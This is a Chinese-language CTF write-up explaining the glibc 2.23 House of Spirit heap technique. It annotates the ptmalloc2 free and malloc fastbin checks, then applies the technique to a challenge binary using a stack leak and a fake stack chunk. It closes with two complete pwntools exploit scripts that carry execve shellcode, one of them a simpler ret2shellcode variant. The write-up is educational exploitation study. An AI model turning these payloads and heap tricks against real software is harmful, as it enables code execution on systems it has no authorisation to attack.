Pwn Ptmalloc2 House of Spirit

精灵的家!

如未特殊说明, 均假定 libc 2.23, 64 位.

House of Spirit 是一种任意位置分配的手段, 需要配合能够产生 free(addr) (addr 是任意地址) 的漏洞. 再 malloc 时, 就能够获得这部分的 fake chunk 了.

同样还是只看有关部分.

首先看无论放入哪里都有的检查:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  ...
  // 检查地址的合法性, 地址不能大于 -size. 这个一般不用考虑, 地址太大的地方是 kernel, 本来就无法访问到
  // 地址必须对齐. 64 位下是 16 位对齐
  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    {
      errstr = "free(): invalid pointer";
    errout:
      if (!have_lock && locked)
        (void) mutex_unlock (&av->mutex);
      malloc_printerr (check_action, errstr, chunk2mem (p), av);
      return;
    }
  // size 不可能比 MINSIZE 小, 64 位下是 0x20, 0x10 的 header 和 fd, bk.
  // size (已经去除了标志位) 也要对齐, 即是 0x10 的整数倍.
  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    {
      errstr = "free(): invalid size";
      goto errout;
    }
  ...
}

然后看 fastbin 的. 去掉了锁相关部分.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  ...
  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
      /*
  If TRIM_FASTBINS set, don't place chunks
  bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {

    // chunk_at_offset (p, size) 是下一个 chunk.
    // 下一个 chunk 的 size 要大于 2 * SIZE_SZ (64 位下是 0x10)
    // 下一个 chunk 的 size 还要小于 system_mem (一般是 0x21000)
    // malloc 时, 大于 0x21000 时会调用 mmap. 所以这里有个检查
    if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
  || __builtin_expect (chunksize (chunk_at_offset (p, size))
           >= av->system_mem, 0))
    {
      errstr = "free(): invalid next size (fast)";
      goto errout;
    }
    ...
    unsigned int idx = fastbin_index(size);
    fb = &fastbin (av, idx);

    mchunkptr old = *fb, old2;
    unsigned int old_idx = ~0u;
    do
      {
  // double free 检测
  if (__builtin_expect (old == p, 0))
    {
      errstr = "double free or corruption (fasttop)";
      goto errout;
    }
  if (have_lock && old != NULL)
    old_idx = fastbin_index(chunksize(old));
  p->fd = old2 = old;
      }
    while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);

    // 确保放入前的头对应的 fastbin 下标 old_idx 与 新加入的对应的 idx 下标相同
    // 这个一般都是相同的. 攻击的时候也不会用到.
    if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
      {
  errstr = "invalid fastbin entry (free)";
  goto errout;
      }
  }
}

所以, 除了常规的地址合法性检查, fastbin 的 free 中主要就两个检查:

  1. next chunk size 要在合理范围内
  2. 不能连续两次 free 同一个地址

那对 House of Spirit 来说, 就需要注意, fake chunk 的 next chunk 的 size 位置需要布置. 同时 fake chunk 不能是 fastbin 的头节点. 一般来说, 第二个条件不会考虑. 因为都能再 free 头节点了, 那其实可以利用 double free.

总结一下, 想要 free 这个 fake chunk, 只需要考虑 地址对齐布置 next chunk size.

来看看 malloc 取 fastbin 时有什么检查:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static void *
_int_malloc (mstate av, size_t bytes)
{
  ...
  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp = *fb;
      do
        {
          victim = pp;
          if (victim == NULL)
            break;
        }
      while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
             != victim);
      if (victim != 0)
        {
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }
            ...
        }
    }
    ...
}

可以看到, 只检查了拿出来的 chunk size 和 之前计算得到的 idx 是否匹配. 在执行 malloc 的过程中, 这些东西一般不会变 (当然一些奇奇怪怪的攻击除外). 所以, 我们暂且认为, 只要 fastbin 中有元素, 就能够 malloc 取到.

House of Spirit 的核心就是, 在一个地址对齐的地方, 伪造一个合适的 fastbin chunk, 同时伪造 next chunk 的 size 在合理范围内. 然后 free(addr), 再 malloc 伪造的 fake chunk size, 就可以分配到 addr 了.

L team yyds!

64 位 ELF, 保护全关, 乐.

main:

1
2
3
4
5
6
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  Init();
  mainmain();
  return 0LL;
}

Init 是 IO 初始化.

mainmain:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
void __fastcall mainmain()
{
  __int64 i; // [rsp+10h] [rbp-40h]
  char buf[48]; // [rsp+20h] [rbp-30h] BYREF

  puts("who are u?");
  for ( i = 0LL; i <= 47; ++i )
  {
    read(0, &buf[i], 1uLL);
    if ( buf[i] == '\n' )
    {
      buf[i] = 0;
      break;
    }
  }
  printf("%s, welcome to ISCC~ \n", buf);
  puts("give me your id ~~?");
  readint();
  mainmainmain();
}

这里有漏洞. 当输入不以 \0 结尾且填满 buf, 那么会泄漏出栈上某个值. 调试一下, 能够发现泄漏出来的是栈地址.

readint 没洞, 不放了. 继续往下:

mainmainmain():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void __fastcall mainmainmain()
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  char *dest; // [rsp+38h] [rbp-8h]

  dest = (char *)malloc(64uLL);
  puts("give me money~");
  read(0, buf, 64uLL);
  strcpy(dest, buf);
  ptr = dest;
  mainmainmainmain();
}

这里有一个栈溢出漏洞. 但是溢出只能覆盖到 dest, 不能覆盖到返回地址.

ptr 是全局变量, 后续会有 ptr = dest, 所以我们可以通过溢出控制 ptr.

mainmainmainmain:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall pwn()
{
  int op; // eax

  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      op = readint();
      if ( op != 2 )
        break;
      check_out();
    }
    if ( op == 3 )
      break;
    if ( op == 1 )
      check_in();
    else
      puts("invalid choice");
  }
  puts("good bye~");
}

check_out:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
void check_out()
{
  if ( ptr )
  {
    puts("out~");
    free(ptr);
    ptr = 0LL;
  }
  else
  {
    puts("havn't check in");
  }
}

check_in:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int check_in()
{
  int len; // [rsp+Ch] [rbp-4h]

  if ( ptr )
    return puts("already check in");
  puts("how long?");
  len = readint();
  if ( len <= 0 || len > 128 )
    return puts("invalid length");
  ptr = (char *)malloc(len);
  printf("give me more money : ");
  printf("\n%d\n", (unsigned int)len);
  read(0, ptr, (unsigned int)len);
  return puts("in~");
}

可以看到, check_out 是 free, check_in 是 malloc. 上面我们控制了 ptr 的值, 那么就可以 House of Spirit 了.

栈上的 buf 是可以写的, 那考虑把 fake chunk 设置在 buf 上. 这样 malloc 到了栈上以后, 就可以写 shellcode 并覆盖返回地址, 调到 shellcode 处执行 (没开栈不可执行).

具体构造如下:

首先, 需要将 dest 覆盖为 buf 的某个位置, 比如 buf[48] (&dest - 0x8) (这里需要调试, 找到对齐的地址), 所以在 buf[56] 的位置需要填入 &dest - 0x8. 考虑到下面有 strcpy(dest, buf), 所以将 buf 第一个字节设为 \0, 保证 dest 不被重新覆盖. 这样执行完后, ptr 就指向了 &dest - 0x8 了. 然后考虑绕过 fastbin 的检测. 首先需要设置 fake chunk 的 size 在 fastbin 之内, 那么应该在 ptr - 0x8 的地方写入该值. 还要考虑 next chunk size. 由于我们无法写入到 next chunk size. 这时, 我们可以从栈上找一找.

调试一下程序, 找到 &dest - 0x8 的位置:

/pwn-ptmalloc2-house-of-spirit/img/stack.png
调试查看栈

可以看到, 0x7fff72b93780, 这个位置, 非常适合伪造 next chunk. 因为 0x7fff72b93788 位置的值不大不小, 在可以绕过 next chunk size 检测的范围之内. 多次调试, 验证这个位置的值不会改变.

所以可以计算出来, fake chunk size 应该为 0x40. 正好也在 fastbin 范围内.

buf 中间部分还有可以利用的空间, 在其中写上 shellcode.

然后 free(ptr), malloc(0x30), 就会分配到 &dest - 0x8 的位置. check_in 中可以向 fake chunk 写入数据, 于是将返回地址覆盖到事先写好的 shellcode 处即可.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn200'

io = process(procname)
# io = remote('node4.buuoj.cn', 26861)
elf = ELF(procname)
# libc = ELF('./libc.so.6')

def n2b(x):
  return str(x).encode()

def main():
  # pause()
  io.sendafter(b'who are u?\n', b'a' * 48)
  io.recvuntil(b'a' * 48)
  leak_stack = u64(io.recv(6).ljust(8, b'\x00'))
  success(f'leak stack: {hex(leak_stack)}')
  io.sendafter(b'give me your id ~~?', b'1' * 4)

  rbp = leak_stack - 0x80
  dest = rbp - 0x08
  buf = rbp - 0x40
  success(f'leak dest: {hex(dest)}')
  ptr = dest - 0x8
  pause()
  shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
  payload_ptr = (p64(0) + shellcode).ljust(0x28, b'\x00') + p64(0x41) + p64(0) + p64(ptr)
  pause()
  io.sendafter(b'give me money~\n', payload_ptr)
  io.sendlineafter(b'choice : ', b'2')
  io.sendlineafter(b'choice : ', b'1')
  io.sendlineafter(b'how long?\n', b'48')
  payload_ra = p64(0) * 3 + p64(buf + 0x8)
  io.sendafter(b'48\n', payload_ra)
  io.sendlineafter(b'choice : ', b'3')
  io.interactive()

if __name__ == '__main__':
  main()

实际上这个题也可以不用 House of Spirit. 既然 dest 可以被覆盖, 且有 strcpy(dest, buf). 那么其实可以将 dest 覆盖为栈上的某个位置, 如返回地址处. 这样其实就可以进行 ret2shellcode 了. (比 House of Spirit 简单, 不用找栈上的数据来进行伪造)

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn200'

io = process(procname)
# io = remote()
elf = ELF(procname)
# libc = ELF('./libc.so.6')

def n2b(x):
  return str(x).encode()

def main():
  io.sendafter(b'who are u?\n', b'a' * 48)
  io.recvuntil(b'a' * 48)
  leak_stack = u64(io.recv(6).ljust(8, b'\x00'))
  success(f'leak stack: {hex(leak_stack)}')
  io.sendafter(b'give me your id ~~?', b'1' * 4)

  rbp = leak_stack - 0x80
  dest = rbp - 0x08
  buf = rbp - 0x40
  success(f'leak dest: {hex(dest)}')

  shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
  payload = (p64(buf+8) + shellcode).ljust(56, b'\x00') + p64(rbp+8)
  io.sendafter(b'give me money~\n', payload)
  io.sendlineafter(b'choice : ', b'3')

  io.interactive()

if __name__ == '__main__':
  main()